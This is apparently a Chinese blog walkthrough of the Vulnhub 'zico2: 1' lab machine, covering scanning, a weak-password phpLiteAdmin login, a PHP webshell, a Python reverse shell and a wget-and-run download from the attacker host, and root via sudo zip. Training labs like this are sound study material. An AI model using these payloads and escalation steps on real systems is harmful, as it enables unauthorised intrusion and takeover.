靶机渗透测试(zico2: 1):
Vulnhub靶机 zico2: 1
靶机:修改靶机的网络配置为桥接模式。
攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机。
靶机难度:(Intermediate)
目标:Get root and read the flag file.
渗透流程:
1. 探测靶机ip地址(netdiscover -i eth0 -r 网关)
命令:netdiscover -i eth0 -r 192.168.10.0
靶机ip为: 192.168.10.95
2. nmap进行靶机端口服务扫描
命令: nmap -sS -Pn -A -p- -n 192.168.10.95
靶机开放了22/ssh、 80/http、 111/rpcbind、 58853/status等端口服务
3. 根据端口服务进行渗透(80/http端口服务)
3.1. 信息收集~80端口
登陆80服务端口,进行信息收集工作,首先ctrl+u查看一波源代码,无果!!!
观察页面信息,使用御剑,dirb工具对目录进行目录扫描:
可以看到扫描出了一些敏感目录:dbadmin目录;
3.2. 访问敏感目录
访问dbadmin网页,发现存在一个test_db.php文件,继续访问,为phpLiteAdmin的登录框;
可以使用cewl工具爬取网页的字典数据,并生成一个字典txt:
命令: cewl http://192.168.10.95 -w X.txt
爆破登陆账号,发现为弱口令密码登陆
密码:admin
3.3. 登陆
可以看到对应的名称和版本号,在info表内容中,发现了root与zico的账号与MD5加密的口令;
解密得:
root : 34kroot34
zico : zico2215@
4. 端口渗透(22/ssh端口服务)
4.1. ssh远程连接
使用MD5解密后的口令密码,登陆ssh,登陆失败!!!!
4.2. searchsploit phpliteadmin
searchsploit一波,查看下版本漏洞:
可以看到一项关于版本漏洞的解释文档,我们可以按照说明进行复现操作:
4.3. 利用phpLiteAdmin 1.9.3版本远程php代码执行漏洞
一:在数据库管理页面创造一个hack.php文件作为数据库
二:在该数据库下创建一个数据表aaa(自定义设置)
三:在Default Value中插入一句话木马(Get型)
<?php echo system($_GET[cmd]);?>post传输的一句话<?php @eval($_POST[cmd]);?>
虽然能连接蚁剑,但是并不能在页面&cmd中显示出来
在这里单引号会被过滤,所以不加单引号;
四:利用文件包含漏洞,访问创建的数据库(php文件)
而后我们可以使用python一句话反弹shell(也可以使用msf,如下:)
命令:
<?php system("cd /tmp;wget http://192.168.10.9:8000/shell;chmod +x shell;./shell");?>
4.4. 使用python反弹shell:
在kali端设置监听,然后在url下使用pyhon反弹shell的payload:
192.168.10.95/view.php?page=…/…/usr/databases/hack.php&cmd=
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.9”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
nc设置监听:
成功反弹shell!!!
5. 提权
执行python命令,获得交互式shell:
python -c ‘import pty; pty.spawn("/bin/bash")’
cd到家目录下,在zico用户下发现一项to_do.txt,cat查看为wordpress框架!!!
直接查看wp-config.php文件,查看配置用户信息;
获得zico用户的密码:sWfCsfJSPV9H3AmQzw8
ssh远程连接zico用户,并查看该用户的权限:
使用find命令查看存在的可执行SUID提权的文件:
命令:
find / -perm -u=s -type f 2>/dev/null
执行命令:sudo -l
查看哪些命令具有root权限,发现具有root权限的为两个解压使用的可执行命令(zip / tar)
利用zip命令来进行提权
输入命令:touch /tmp/tiquan
在/tmp目录下创建一个为tiquan名字的空文件;
输入命令:sudo -u root zip /tmp/tiquan.zip /tmp/tiquan -T --unzip-command=“sh -c /bin/bash”
可以看到用户以root用户身份运行tar和zip命令
使用Zip命令进行本地提权(类Unix系统)
使用ZIP命令提权
提权成功!!!
原理:
将文件raj压缩,然后将其移动到/tmp/tiquan.zip文件夹,再将其解压缩,最后弹出root壳…
cd到root目录下,cat查看flag.txt,实验成功!!!
实验总结:
在本次实验中首先进行信息收集工作以及dirb发现后台数据库的登录目录,弱口令登陆
然后对后台管理软件本身漏洞进行利用,getshell后,查看wordpress配置文件获取密码,以zico低权限用户登录;
后续提权过程使用Zip命令提权,比较新颖!!!Zip提权就是在本地新建一个空文件,然后使用zip打包,再指定需要执行的命令即可 ;
(看到大佬们的wp,发现也可以使用脏牛提权,下载exp后直接编译执行,获得root权限)
参考博客:
https://www.cnblogs.com/sym945/p/13362842.html
https://blog.csdn.net/weixin_41598660/article/details/104150284